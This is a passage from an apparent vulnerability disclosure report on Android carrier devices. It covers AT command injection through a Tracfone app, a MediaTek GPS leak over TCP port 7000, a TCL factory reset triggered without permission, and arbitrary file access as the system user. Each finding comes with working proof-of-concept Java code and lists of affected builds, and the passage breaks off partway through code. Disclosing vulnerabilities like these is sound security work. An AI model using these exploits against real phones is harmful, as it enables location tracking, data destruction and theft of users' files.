This is an example of a capability where a third-party app executes an AT command of its choosing through an intermediary process of "com.tracfone.tfstatus", which a third-party app cannot directly perform through the standard public APIs due to security restrictions. When executing commands by exploiting the vulnerability, certain log messages emitted by the modem can be observed using the following ADB command: "adb logcat -b radio | grep 'onHandleOemHookRaw' -A5". The general source code template for executing an arbitrary AT command is provided below where the "<AT Command(s)>" should be replaced with an AT command(s) of your choosing where they are separated with a carriage return escape sequence ("\r") when executing multiple AT command such as in the following example: "\b\b\b\b\b\b\b\b\b\b\bATZ\rATD+17035551234;".

```
Intent intent = new Intent("com.tracfone.tfstatus.TFStatus");
intent.setClassName("com.tracfone.tfstatus", "com.tracfone.tfstatus.TFStatus");
intent.putExtra("password", "\b\b\b\b\b\b\b\b\b\b\b<AT Command(s)>");
sendBroadcast(intent);
```

5. 3. Impacted Devices

The vulnerable "com.tracfone.tfstatus" app is pre-installed on the following software builds of the Tracfone Nokia C100 device, provided in Table 8. The pre-installed "com.tracfone.tfstatus" app, on all of the software builds we examined for this device, has a file path of "/system/priv-app/HiddenMenu/HiddenMenu.apk".

Build Fingerprint	Version Code	Version Name	Build Date	SHA-256
Nokia/DrakeLite_02US/DKT:12/SP1A.210812.016/02US_1_270:user/release-keys	31	12	Fri Mar 3 10:27:01 UTC 2023	c49c160730af9ddc808a6ad42a916991f1b59422dc841c1ba7582aa9d3076d0a
Nokia/DrakeLite_02US/DKT:12/SP1A.210812.016/02US_1_190:user/release-keys	31	12	Thu Dec 1 17:14:18 UTC 2022	79f52043574ac3821dfd1e3ff621e48715fd767f327fa0fcd86080e5af9c0449
Nokia/DrakeLite_02US/DKT:12/SP1A.210812.016/02US_1_130:user/release-keys	31	12	Tue Oct 18 07:54:13 UTC 2022	d86c983eb43e4e203be9864f9759fe79c4436b7338ae052ddb23ccff127d794c

Build Fingerprint	Version Code	Version Name	Build Date	SHA-256
Nokia/DrakeLite_02US/DKT:12/SP1A.210812.016/02US_1_110:user/release-keys	31	12	Mon Sep 5 17:57:14 UTC 2022	d86c983eb43e4e203be9864f9759fe79c4436b7338ae052ddb23ccff127d794c
Nokia/DrakeLite_02US/DKT:12/SP1A.210812.016/02US_1_080:user/release-keys	31	12	Fri Aug 12 14:12:34 UTC 2022	d86c983eb43e4e203be9864f9759fe79c4436b7338ae052ddb23ccff127d794c
Nokia/DrakeLite_02US/DKT:12/SP1A.210812.016/02US_1_050:user/release-keys	31	12	Sun May 29 07:21:19 UTC 2022	d86c983eb43e4e203be9864f9759fe79c4436b7338ae052ddb23ccff127d794c

Table 8. List of vulnerable software builds for the Tracfone Nokia C100 device.

In addition to the Tracfone Nokia C100 device, the Tracfone Nokia C200 device also has a vulnerable version of the "com.tracfone.tfstatus" pre-installed app, as shown in Table 9. On all of the software builds we examined for the Tracfone Nokia C200 device, the app also has a file path of "/system/priv-app/HiddenMenu/HiddenMenu.apk".

Build Fingerprint	Version Code	Version Name	Build Date	SHA-256
Nokia/Drake_02US/DRK:12/SP1A.210812.016/02US_1_080:user/release-keys	31	12	Mon Jan 16 07:31:55 UTC 2023	283efbae7b796fbf191d8e00582a59e9ef8cca681cdbf261d187fafa502f7a4b
Nokia/Drake_02US/DRK:12/SP1A.210812.016/02US_1_040:user/release-keys	31	12	Mon Aug 22 06:05:48 UTC 2022	5a5c07685b0f2ba4c678184d0e51c6d9842bc06b45adc2d05eddbd0884d74981

Table 9. List of vulnerable software builds for the Tracfone Nokia C200 device.

Additional Tracfone devices may also contain a vulnerable version of the "com.tracfone.tfstatus" pre-installed app.

6. MediaTek Exposing GPS Coordinates via Port 7000

MediaTek is a major chipset manufacturer that covers various market segments in the Android chipset market. We discovered an information disclosure vulnerability (CVE-2023-20726) that enables third-party apps to obtain the GPS coordinates without the requisite "android.permission.ACCESS_FINE_LOCATION" permission that is normally required to directly obtain the GPS coordinates from the GPS module via the standard location manager APIs. [22] This vulnerability was caused by certain versions of a MediaTek system binary named "mnld" that is present in various Android vendor devices with MediaTek SoCs running Android versions 4.4.2, 5.1, 6, 7, 7.1.1, 8, 8.1, 9, 11, 12, & 13. MediaTek included this vulnerability in their May 2023 security bulletin noting that the following chipsets were impacted: MT2731, MT2735, MT2737, MT6580, MT6739, MT6761, MT6762, MT6765, MT6767, MT6768, MT6769, MT6771, MT6779, MT6781, MT6783, MT6785, MT6789, MT6833, MT6853, MT6855, MT6873, MT6877, MT6879, MT6880, MT6883, MT6885, MT6886, MT6889, MT6890, MT6891, MT6893, MT6895, MT6896, MT6980, MT6980D, MT6983, MT6985, MT6990, MT8167, MT8168, MT8173, MT8185, MT8321, MT8362A, MT8365, MT8385, MT8666, MT8673, MT8675, MT8765, MT8766, MT8768, MT8781, MT8786, MT8788, MT8789, MT8791, MT8791T, and MT8797. [23]

6.1. Vulnerability Description

Smartphones from various Android vendors using MediaTek SoCs contain a system binary named "mnld" that is used for GPS functionality. The "mnld" name appears to be an acronym for MediaTek Navigation Library Daemon (MNLD).[24] The "mnld" system binary executes as an Init service (a service that is started by the "init" process), that runs at system startup, as the "gps" user with an SELinux context of "u:r:mnld:s0".[25] The "mnld" system binary on recent Android versions has a file path of "/vendor/bin/mnld", although the path is variable, and it can have a file path of "/system/xbin/mnld" on older Android versions.

The "mnld" system binary loads a native library named "libmnl.so" which contains logic for processing National Marine Electronics Association (NMEA) sentences. On recent Android devices, the "libmnl.so" library has a path of "/vendor/lib/libmnl.so" or "/vendor/lib64/libmnl.so" while on older Android devices, it may have a path of "/system/lib/libmnl.so". We focus on the "mnld" system binary since it uses the "libmnl.so" library, but there may be additional processes or daemons that also use the library. The "libmnl.so" library offers a handful of exported functions that talk directly to the GPS module on the device. Among them, an exported function called "mtk_gps_mnl_run" appears to be the entry point to initialize the GPS driver, configure it, and start reading from the GPS sensors. The source of the vulnerability, on vulnerable builds, appears to be the "mnld" system binary calling the "mtk_gps_mnl_run" function from the "libmnl.so" library with debug options enabled.

When the debug options are enabled, the "mnld" binary uses TCP port 7000 for debugging purposes. The debug options are not configured on all devices with the "mnld" system binary. The TCP debug port is bound to the loopback address (i.e., "127.0.0.1") on recent versions of the "mnld" system binary (Android 11 and higher), whereas in older versions of the "mnld" system binary (Android 9 and lower), it binds to any available IP address (i.e., "0.0.0.0"). The debug port is open when the device is actively trying to get a reading from the device’s GPS antenna. When TCP port 7000 is open and a client connects to the port, the "mnld" system binary starts emitting NMEA sentences over the network socket without performing any authentication of the client. Information about NMEA sentences can be found here.[26]

The NMEA sentences emitted by the "mnld" system binary over TCP port 7000 contain the latitude and longitude of the device obtained from the GPS module. The GPS coordinates of the device are leaked to any client connecting to the debug port, even to clients that do not possess the standard location permission (i.e., "android.permission.ACCESS_FINE_LOCATION"). The root cause of the vulnerability is that the debug port does not perform any authentication or authorization for clients connecting to the debug port to ensure that they possess the requisite location permission prior to emitting location information.

The "mnld" system binary emits various NMEA sentences to clients over TCP port 7000 that contain the latitude and longitude of the device. Specifically, the "$GNGGA" NMEA sentences contain the latitude (provided in "ddmm.mmmmmmm" format) and longitude (provided in "dddmm.mmmmmmm") represented in the degrees and minutes format. [27] The degrees and minutes format can be easily converted to the decimal degrees format: "dd.dddddd" for latitude and "ddd.dddddd" for longitude.[28] There are online resources that perform the conversion between the two formats. [29] The debug port may also emit the "$PMTKLCPOS1" and "$PMTKLCPOS2" NMEA sentences, which appear to be specific to MediaTek, that contain the GPS coordinates of the device in decimal degrees format that most people are familiar with (e.g., 37.892196, 41.129145).

6.2. Exploitation Workflow

This subsection provides the general workflow to successfully exploit the GPS coordinates leakage vulnerability. There is both a passive approach and an active approach for exploiting the vulnerability. For the passive approach, a PoC attack app can use a foreground service component, executing in the background, to periodically check to see if TCP port 7000 is currently open, which occurs when the device is using the GPS antenna, such as when the user is using the Google Maps app (or a similar app that uses the GPS module) for navigation or information purposes. Whenever TCP port 7000 is open, the PoC app can connect to the port and read the NMEA sentences emitted by the "mnld" binary to obtain the GPS coordinates of the device.

Alternatively, an active approach is where the PoC app uses its own activity component to directly start an activity component within an external app that uses the GPS module (e.g., Google Maps or a similar app) which opens the debug port for the PoC app to connect to in order to read the NMEA sentences. For example, the launcher activity component in the Google Maps app uses the GPS module as soon as the activity component is started without requiring any user interaction. This occurs after the Google Maps app has been granted the location permission by the user, which likely will have previously occurred if the user has used the Google Maps app in the past. When the Google Maps app uses the GPS module, the "mnld" system binary opens the debug port on TCP port 7000 and then the PoC app can connect to the port and read the NMEA sentences it emits using a foreground service component, thus obtaining the GPS coordinates without the requisite location permission.

The following vulnerability workflow uses an active approach by starting the Google Maps app from an activity component and then connects to the TCP port 7000 on the loopback address to obtain the NMEA sentences:

1. Request the "android.permission.INTERNET" permission in the PoC app's manifest file. The "android.permission.INTERNET" permission is required when connecting to network ports, even on the loopback interface.
2. From a foreground activity component in the PoC app, start a foreground service component in the PoC app that will repeatedly try connecting to TCP port 7000 with a short sleep interval in between failed connection attempts.

3. From a foreground activity component in the PoC app, send an "Intent" message to start the launcher activity component of the Google Maps app (or similar navigation app).
4. The launcher activity component of the Google Maps app uses the GPS antenna which causes the "mnld" system binary to open the debug port on TCP port 7000. This requires that the user has either previously granted the Google Maps app the location permission or will grant the Google Maps app the location permission when prompted. The granting of the location permission only needs to happen once if they grant the navigation app access to the device's location while the app is in use.
5. The foreground service component of the PoC app will successfully connect to TCP port 7000 and read from the debug port to obtain the NMEA sentences and thus the GPS coordinates of the device without possessing the location permission.

We provide the following Java source code for the PoC app. The workflow assumes that the device has the Google Maps app installed, with a package name of "com.google.android.apps.maps", and that the user has used the app at least once and granted it the location permission when previously prompted by the app. The source code snippet below starts the default launcher activity component of the Google Maps app. If this is the first time using the Google Maps app on the device, then the location permission will have to be granted to the app by the user when prompted. In addition, when the device has network connectivity, such as an active WiFi connection or active SIM card with mobile data, the device gets the GPS coordinates faster.

```
Intent intent = new Intent("android.intent.action.MAIN");
intent.setPackage("com.google.android.apps.maps");
intent.addCategory("android.intent.category.LAUNCHER");
startActivity(intent);
```

On Android vendors devices with a vulnerable version of the "mnld" system binary, the "mnld" system binary will open TCP port 7000 when the GPS antenna is active. The following ADB command and subsequent output, shown below, can be used to determine whether the debug port is currently open or closed. The command and subsequent output below show that TCP port 7000 ("0x1B58" in hex) is open on the loopback IP address of "127.0.0.1" is provided in the little-endian hex format of "0100007F".

```
$ adb shell cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 0100007F:1B58 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1021        0
119329 1 0000000000000000 100 0 0 10 0
```

The following source code should be executed in a foreground service app component which connects to port 7000 on the loopback address and then reads NMEA sentences from the socket and writes the NMEA sentences to the system log with a log tag of "mnld_gps_leak".

```
Runnable runnable = new Runnable() {
   @Override
   public void run() {
       Log.e("mnld_gps_leak", "read_from_local_host_port - thread started");
       String line = null;
       while (true) {
try (Socket clientSocket = new Socket("127.0.0.1", 7000);
               BufferedReader in = new BufferedReader(new
               InputStreamReader(clientSocket.getInputStream()))) {
               while ((line = in.readLine()) != null) {
                   Log.w("mnld_gps_leak", line);
               }
```

```
      } catch (Exception e) {
        Log.w("mnld_gps_leak", "error", e);
      }
      try {Thread.sleep(3000);} catch (InterruptedException e) {e.printStackTrace();}
    }
  }
};
new Thread(runnable).start();
```

These system log messages can be observed using the following ADB command: "adb logcat mnld_gps_leak:V -s -v brief". Below is a sample of system log output from executing the PoC app on an Android vendor device with a vulnerable version of the "mnld" system binary. In the log messages below, the latitude and longitude have been redacted as "<latitude>" and "<longitude>".

```
W/mnld_gps_leak( 7658): $GPVTG,175.94,T,,M,1.006,N,1.864,K,A*3F
W/mnld_gps_leak( 7658): $GPACCURACY,3.8,167.1,2.2,34.0*37
W/mnld_gps_leak( 7658): $PMTKAGC,184346.000,3215,3374,0,0,0,0,0,6,115,0*7C
W/mnld_gps_leak( 7658): $PMTKERT,881261,561605,881180,0000*4C
W/mnld_gps_leak( 7658): $PMTKMPE1,0.0,0.000,0.0000000,0.0000000,0.00,0.00,0.00,0.00,0.00,0.00,0.00,0.00,0,0,0,0*6B
W/mnld_gps_leak( 7658): $PMTKMPE2,,*68
W/mnld_gps_leak( 7658): $PMTKLCPOS1,20221010184346.000,<latitude>,<longitude>,113.0,3,0.000000,0.000000,0.0,0*6C
W/mnld_gps_leak( 7658): $PMTKLCPOS2,20221010184346.000,<latitude>,<longitude>,113.0,1,2231,153844.000,18*45
W/mnld_gps_leak( 7658): $GSFT,561605,-3,0,0,0,1FE,2626,00*1B
W/mnld_gps_leak( 7658): $PMTK001,680,3*3E
W/mnld_gps_leak( 7658): $GPGGA,184347.<latitude>,N,<longitude>,W,1,9,0.89,146.7,M,-34.0,M,,*63
W/mnld_gps_leak( 7658): $GNGSA,A,3,23,12,25,18,31,24,32,10,21,,,,1.18,0.89,0.78,1*0C
```

6.3. Differing Behavior Among Android Versions

Based on the "mnld" system binaries we examined from various Android vendor devices, there appears to be at least two different behaviors with regard to binding to TCP port 7000. The "mnld" system binary in Android versions 9 and below appear to bind to TCP port 7000 using any available IP addresses on the host. This is shown below with the local address value being "00000000:1B58" which uses an special IP address of "0.0.0.0" for any available IP address on port 7000. This allows the attack to be remote instead of local, although it may make little difference to an attacker on the same local Wi-Fi network as they will likely be in close proximity to the vulnerable device. Shodan shows that some Android devices are emitting NMEA sentences containing "$GNGGA" from port 7000. [30]

```
$ adb shell cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000:1B58 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1021
0 17625 1 00000000 100 0 0 10 0
```

The "mnld" system binary for Android versions 11, 12, & 13 binds to port 7000 on the loopback IP address of "0100007F" which is little-endian hex format for "127.0.0.1" as shown below.

```
$ adb shell cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 0100007F:1B58 00000000:0000 0A 00000000:00000000 00:00000000 00000000  1021
0 284321 1 0000000000000000 100 0 0 10 0
```

6.4. Impacted Devices

Table 10 contains a list of impacted Android carrier vendor devices, affecting Android versions 11, 12, & 13, that we have confirmed to contain the vulnerability by exploiting it dynamically. Including non-carrier devices, we detected the vulnerability in Android devices running Android versions 4.4.2, 5.1, 6, 7, 7.1.1, 8, 8.1, 9, 11, 12, & 13, although we do not list them here to maintain the focus on the carrier devices. Table 10 is not meant to be exhaustive, but it is simply meant to demonstrate that a range of Android versions, vendors, models, MediaTek chipsets, and software builds were verified to contain a vulnerable version of the "mnld" system binary. This vulnerability impacted 81% (17 of the 21) Android carrier devices we examined.

Carrier	Vendor	Model	Chipset	Build Fingerprint
Tracfone	Samsung	A13 5G	MT6833V/NZA	samsung/a13xtfn/a13x:13/TP1A.220624.014/S136DLUDU4CWB4:user/release-keys
Tracfone	Nokia	C100	MT6761V/CAB	Nokia/DrakeLite_02US/DKT:12/SP1A.210812.016/02US_1_190:user/release-keys
Tracfone	Nokia	C200	MT6761V/CAB	Nokia/Drake_02US/DRK:12/SP1A.210812.016/02US_1_080:user/release-keys
Tracfone	TCL	30Z	MT6761V/CAB	TCL/T602DL/Jetta_TF:12/SP1A.210812.016/vU5P:user/release-keys

Carrier	Vendor	Model	Chipset	Build Fingerprint
Tracfone	AT&T	30Z	MT6761V/CAB	TCL/4188R/Jetta_ATT:12/SP1A.210812.016/LV8E:user/release-keys
T-Mobile	T-Mobile	Revvl 6 Pro 5G	MT6833V/NZA	T-Mobile/Augusta/Augusta:12/SP1A.210812.016/SW_S98121AA1_V070:user/release-keys
Verizon	Sharp	Rouvo V	MT6761V/WBB	SHARP/VZW_STTM21VAPP/STTM21VAPP:12/SP1A.210812.016/1KN0_0_530:user/release-keys
Tracfone	Motorola	Moto G Power	MT6765H	motorola/tonga_g/tonga:12/S3RQS32.20-42-10-6/f876d3:user/release-keys
T-Mobile	T-Mobile	Revvl V+ 5G	MT6833V/NZA	T-Mobile/Augusta/Augusta:12/SP1A.210812.016/SW_S98121AA1_V070:user/release-keys
Boost Mobile	Boost Mobile	Celero 5G	MT6833V/NZA	Celero5G/Jupiter/Jupiter:11/RP1A.200720.011/SW_S98119AA1_V052:user/release-keys
Tracfone	BLU	View 3	MT6762V/WA	BLU/B140DL/B140DL:11/RP1A.200720.011/1672371162:user/release-keys
Tracfone	BLU	View 2	MT6761V/CAB	BLU/B131DL/B130DL:11/RP1A.200720.011/1647856638:user/release-keys
Tracfone	Samsung	A03S	MT6765V/CB	samsung/a03sutfn/a03su:11/RP1A.200720.012/S134DLUDU2AVE2:user/release-keys
AT&T	Motorola	Moto G Pure	MT6762G	motorola/ellis_a/ellis:11/RRH31.Q3-46-50-2/20fec:user/release-keys
Verizon	Motorola	Moto G Pure	MT6762G	motorola/ellis_vzw/ellis:11/RRHS31.Q3-46-110-7/5cde8:user/release-keys
Tracfone	Motorola	Moto G Pure	MT6762G	motorola/ellis_trac/ellis:11/RRHS31.Q3-46-110-10/d67faa:user/release-keys
Boost Mobile	TCL	20XE	MT6762V/CA	TCL/5087Z_BO/Doha_TMO:11/RP1A.200720.011/PB7I-0:user/release-keys

Table 10. Android carrier devices with a vulnerable version of the "mnld" system binary.

7. TCL Vendor-Specific Vulnerabilities

This section covers two vulnerabilities, both introduced by TCL vendor-specific, pre-installed apps where the resulting impact is: a (1) programmatic factory reset and an (2) arbitrary file read/write as a "system" user app.

7.1. Factory Reset Vulnerability

The local privilege escalation vulnerability in the Boost Mobile TCL 20XE device is caused by a pre-installed app with the following app identity.
Package name: com.tct.gcs.hiddenmenuproxy
Path: /system/app/HiddenMenuproxy/HiddenMenuproxy.apk
Version name: v11.0.1.0.0201.0
Version code: 2
CVE: CVE-2023-38292
SHA-256: 32d28ba01eba2d1581296016a22a66253464be91da84e75b45b739eafd8c508b
UID: system

The Boost Mobile TCL 20 XE Android device with a build fingerprint of "TCL/5087Z_BO/Doha_TMO:11/RP1A.200720.011/PB83-0:user/release-keys" and a build date of "Wed Feb 22 13:32:08 CST 2023" has a vulnerability that allows co-located, third-party apps with no permissions to programmatically initiate a factory reset operation. The "com.tct.gcs.hiddenmenuproxy" app has an implicitly exported receiver component named "com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver" that third-party apps can interact with using "Intent" messages. This receiver component, when started, checks the value corresponding to the "device_provisioned" key in "global" settings.[31] The value corresponding to the "device_provisioned" key in "global" settings will typically be set to a value of "1" after the user has completed setting up the device with the Setup Wizard app.

If the value corresponding to the "device_provisioned" key in "global" settings has a value that is not "0" (e.g., "1" is the typical case), then the "com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver" receiver component starts a nested class (that extends the "android.os.AsyncTask" class) within itself that executes the "void android.service.persistentdata.PersistentDataBlockManager.wipe()" method. This method is an internal API which programmatically initiates a factory reset where the official documentation for the method states: "Zeroes the previously written block in its entirety. Calling this method will erase all data written to the persistent data partition."[32]

If the value corresponding to the "device_provisioned" key in "global" settings has a value of "0", then the "com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver" receiver component sends a broadcast "Intent" with an action of "android.intent.action.FACTORY_RESET" to the "android" package with a few extras to initiate a programmatic factory reset, causing the user to lose any apps and data that are not backed up. Independent of the value of the "device_provisioned" key in "global" settings, the "com.tct.gcs.hiddenmenuproxy" app performs a factory reset using one of two different approaches, where the former would be the most typical case. The "com.tct.gcs.hiddenmenuproxy" app executes with the "system" UID which gives it the capability to programmatically initiate a factory reset, when the source code snippet directly below is executed. This capability is exposed to external local entities due to inadequate access control for the "com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver" receiver component in the "com.tct.gcs.hiddenmenuproxy" app.

```
Intent intent = new Intent("");
intent.setClassName("com.tct.gcs.hiddenmenuproxy", "com.tct.gcs.hiddenmenuproxy.rtn.FactoryResetReceiver");
sendBroadcast(intent);
```

Once the source code snippet above is executed, the device will boot into recovery mode to perform a factory reset operation and then the Setup Wizard app will appear after a while for the user to again set up the device, although their apps and data will be gone.

7.2. Arbitrary File Read/Write as "system" UID App

The local privilege escalation vulnerability in the TCL 30Z devices, from both AT&T and Tracfone, is caused by a pre-installed app with the following app identity.
Package name: com.tcl.screenrecorder
Path: /system/priv-app/TctScreenRecorder/TctScreenRecorder.apk
Version name (Tracfone): v5.2120.02.12008.1.T
Version code (Tracfone): 1221092802
Version name (AT&T): v5.2120.02.12008.2.T
Version code (AT&T): 1221092805
CVE: CVE-2023-38295
SHA-256 (Tracfone): f4a1d6d00d01f334f337a781fba354811d1c609e0db1929d9ee701fb2e38f6f2
SHA-256 (AT&T): c84dbef93a5af925453877fca7e9acba9c6e525f233c138741f3125d3b39a63d
UID: system
As the package name implies, the app's purpose is for recording the device's screen. This app executes with "system" UID, entitling it to greater capabilities to access files than an arbitrary pre-installed app that does not have a special UID. Notably, the "com.tcl.screenrecorder" app can access external storage, which contains various media files such as the user's photos and videos. The build fingerprints for the impacted carrier TCL 30Z devices are provided below.

AT&T: TCL/4188R/Jetta_ATT:12/SP1A.210812.016/LV8E:user/release-keys
Tracfone: TCL/T602DL/Jetta_TF:12/SP1A.210812.016/vU5P:user/release-keys

The root cause of this factory reset privilege escalation vulnerability is that the "com.tcl.screenrecorder/com.tct.smart.switchdata.DataService" service component requires an access permission of "com.tct.smart.switchphone.permission.SWITCH_DATA" that is not declared within the "com.tcl.screenrecorder" app's own manifest or in any other app on their respective software builds. This allows any app to declare the missing permission, set the access requirements for it, request it, and use the permission to access the "com.tcl.screenrecorder/com.tct.smart.switchdata.DataService" service component, and any other app components that use it as an access permission. The following lines below need to be added to the manifest file of a third-party PoC attack app to declare and request the missing permission.

```
<permission android:name="com.tct.smart.switchphone.permission.SWITCH_DATA" android:protectionLevel="normal" />
<uses-permission android:name="com.tct.smart.switchphone.permission.SWITCH_DATA" />
```

The "com.tcl.screenrecorder" pre-installed app has an explicitly exported service component named "com.tcl.screenrecorder/com.tct.smart.switchdata.DataService" declared in the app's manifest file. The "com.tcl.screenrecorder/com.tct.smart.switchdata.DataService" service component requires an access permission named "com.tct.smart.switchphone.permission.SWITCH_DATA", as shown below.

```
<service android:enabled="true" android:exported="true" android:name="com.tct.smart.switchdata.DataService" android:permission="com.tct.smart.switchphone.permission.SWITCH_DATA">
   <intent-filter>
      <action android:name="com.tct.smart.switchdata.ACTION_SWITCH_DATA"/>
   </intent-filter>
</service>
```

Since the "com.tct.smart.switchphone.permission.SWITCH_DATA" permission is missing, this allows any third-party app to declare the missing "com.tct.smart.switchphone.permission.SWITCH_DATA" permission, set the access requirements for the missing permission, request the missing permission, and use the missing permission to access the "com.tcl.screenrecorder/com.tct.smart.switchdata.DataService" service component and any other app components that rely on it for security. Using the missing "com.tct.smart.switchphone.permission.SWITCH_DATA" permission, a third-party app can interact with the service component named "com.tcl.screenrecorder/com.tct.smart.switchdata.DataService" as a bound service and invoke the functionality through the functions it exposes. The "com.tcl.screenrecorder/com.tct.smart.switchdata.DataService" service component specifically exposes the capability to read and write arbitrary files in its context.

The file read/write capability appears to be for an external app to back up the data of the "com.tcl.screenrecorder" app, although there are no restrictions on the data that can be read or written with regard to the target file path. For example, there is no check to ensure that the file path from which data is read from or which data is written to has a path prefix of "/data/data/com.tcl.screenrecorder", limiting it to the app's own private files. Without any such restriction, files can be read or written outside of the private app directory of the "com.tcl.screenrecorder" app. The files that can be read and written using this vulnerability are still limited to the files that the "com.tcl.screenrecorder" app can access based on file permissions, "system" UID, and SELinux restrictions.

In addition to the "com.tcl.screenrecorder" app, there are numerous additional apps on the Tracfone TCL 30Z device that have a service component that relies on the missing "com.tct.smart.switchphone.permission.SWITCH_DATA" permission for access control, leaving it open for a third-party app to obtain read and write access to their internal files and potentially other files if they have a special UID. The following is a list of package names of pre-installed apps on the Tracfone TCL 30Z device ("TCL/T602DL/Jetta_TF:12/SP1A.210812.016/vU5P:user/release-keys") that have a service component that relies on the missing "com.tct.smart.switchphone.permission.SWITCH_DATA" permission: "com.tct.nxtvision_ui", "com.tct.iris", "com.tcl.android.launcher", "com.android.deskclock", "com.tclhz.gallery", "com.tcl.keyguardshortcut", "com.tct.tctsmartapprecommend", "com.tct.smart.notes", and "com.android.systemui". This allows the PoC app to access the private files of these apps, and by extension any apps that share a shared UID with these apps. Of these apps, both the "com.tct.iris" and the "com.android.deskclock" pre-installed apps execute with the "system" UID. Interestingly, the "com.android.deskclock" app executes with the "system" UID. Of particular note, any app that executes with the "system" UID (e.g., the "com.tcl.screenrecorder" app) can read and write the files of all other apps with the same "system" UID as they share access to files and permissions. Therefore, this vulnerability allows access to all internal files of apps with the "system" UID (e.g., "/data/data/<system UID apps>" to be accessed via the "com.tcl.screenrecorder" app.

A third-party app can bind to the "com.tcl.screenrecorder/com.tct.smart.switchdata.DataService" service component and invoke its exposed interface methods to read and write arbitrary files in its context. The bound service uses a "Messenger" object for communication. Below is the PoC source code for reading/writing an arbitrary file, where the example uses a file with a path of "/sdcard/test.txt". First, the PoC source code for writing a file is provided and then the PoC source code for reading the same file is provided afterwards. The "/sdcard/test.txt" path is notable since it is on external storage and is not contained within the app's scoped storage. In Android 10, Google started restricting access to external storage by introducing scoped storage, which generally prevented third-party apps from accessing the public external storage directory. [33] Google temporarily allowed app developers to opt out of scoped storage restrictions on Android 10.[34] For legacy apps that require access to external storage as part of their core functionality (e.g., anti-virus, file managers, backup/restore, etc.), Google introduced the "android.permission.MANAGE_EXTERNAL_STORAGE" permission, which the user must grant to third-party apps, that allows access to public external storage (i.e., files outside of app's scoped storage directories) although Google evaluates all uses of this permission for apps listed on Google Play. [35] Despite these restrictions, a PoC app can obtain read/write access to files on non-scoped external storage by exploiting this vulnerability. The PoC source code below uses a "Messenger" object for communication with the "com.tcl.screenrecorder/com.tct.smart.switchdata.DataService" service component to write "this is just a test!" to the "/sdcard/test.txt" file.

```
public void arbitrary_write_as_system() {
  Intent intent = new Intent("com.tct.smart.switchdata.ACTION_SWITCH_DATA");
  intent.setClassName("com.tcl.screenrecorder", "com.tct.smart.switchdata.DataService");
  ArbitraryWriteAsSystemMessenger servConn = new ArbitraryWriteAsSystemMessenger();
  boolean ret = bindService(intent, servConn, Service.BIND_AUTO_CREATE);
  Log.d(TAG, "com.tcl.screenrecorder - bindService() bound with " + ret);
}

static class ArbitraryWriteAsSystemMessenger implements ServiceConnection {

  @Override
  public void onBindingDied(ComponentName name) {
    Log.w(TAG, "onBindingDied");
  }

  public void onServiceConnected(ComponentName name, IBinder boundService) {
    Log.w(TAG, "serviceConnected");

    Messenger mService = new Messenger(boundService);

    try {
      Message message = Message.obtain(null, 0x1, 0, 0);
      message.replyTo = new Messenger(new Handler(Looper.getMainLooper()) {
        @Override
        public void handleMessage(Message message) {
Log.d(TAG, "message.what = " + message.what);
          Bundle bundle = message.getData();
          if (bundle == null || bundle.isEmpty())
            return;
          boolean success = bundle.getBoolean("result_success");
          if (success) {
            String file_path = bundle.getString("file_path");
            ParcelFileDescriptor parcelFileDescriptor = (ParcelFileDescriptor) bundle.getParcelable("file_descriptor");
            if (parcelFileDescriptor == null)
              return;
            try (FileOutputStream fileOutputStream  = new FileOutputStream(parcelFileDescriptor.getFileDescriptor());) {
              fileOutputStream.write("this is just a test!".getBytes());
              fileOutputStream.flush();
            } catch (IOException e) {
              Log.d(TAG, "brick", e);
            }
          }
        }
      });
      mService.send(message);
      Bundle bundle = new Bundle();
      bundle.putString("file_path", "/sdcard/test.txt");
      bundle.putString("mode", "w");
      Message message2 = Message.obtain(null, 0x4, 0, 0);
      message2.setData(bundle);
      mService.send(message2);
    } catch (Exception e) {
      Log.d(TAG, "fail", e);
    }
    Log.d(TAG, "finished ArbitraryWriteAsSystemMessenger");
  }

  @Override
  public void onServiceDisconnected(ComponentName arg0) {
    Log.w(TAG, "onServiceConnected");
  }

  @Override
  public void onNullBinding(ComponentName name) {
    Log.w(TAG, "onNullBinding");
  }
}
```

The corresponding PoC source code to read the same "/sdcard/test.txt" file we just created in the PoC source code above is provided below. This PoC source code can be changed to read from an arbitrary file path. An arbitrary file path on non-scoped external storage could be used, such as for the user’s photos and videos.

```
public void arbitrary_read_as_system() {
  Intent intent = new Intent("com.tct.smart.switchdata.ACTION_SWITCH_DATA");
  intent.setClassName("com.tcl.screenrecorder", "com.tct.smart.switchdata.DataService");
  ArbitraryReadAsSystemMessenger servConn = new ArbitraryReadAsSystemMessenger();
```

```
    boolean ret = bindService(intent, servConn, Service.BIND_AUTO_CREATE);
    Log.d(TAG, "com.tcl.screenrecorder - bindService() bound with " + ret);
}

class ArbitraryReadAsSystemMessenger implements ServiceConnection {

    @Override
    public void onBindingDied(ComponentName name) {
        Log.w(TAG, "onBindingDied");
    }

    public void onServiceConnected(ComponentName name, IBinder boundService) {
        Log.w(TAG, "serviceConnected");

        Messenger mService = new Messenger(boundService);

        try {
            Message message = Message.obtain(null, 0x1, 0, 0);
            message.replyTo = new Messenger(new Handler(Looper.getMainLooper()) {
                @Override
                public void handleMessage(Message message) {
                    Log.d(TAG, "message.what = " + message.what);
                    Bundle bundle = message.getData();
                    if (bundle == null || bundle.isEmpty())
                        return;
                    boolean success = bundle.getBoolean("result_success");
                    if (success) {
                        String file_path = "file_path";
                        ParcelFileDescriptor parcelFileDescriptor = (ParcelFileDescriptor) bundle.getParcelable("file_descriptor");
                        if (parcelFileDescriptor == null)
                            return;
                        File read_file = new File(getFilesDir(), file_path.replace('/','_'));
                        try (FileInputStream fileInputStream  = new FileInputStream(parcelFileDescriptor.getFileDescriptor()); FileOutputStream fileOutputStream = new FileOutputStream(read_file);) {
                            byte[] buf = new byte[1024];
                            int read = 0;
                            int count = 0;
                            while ((read = fileInputStream.read(buf)) > 0 ) {
                                fileOutputStream.write(buf, count, read);
                                count += read;
                            }
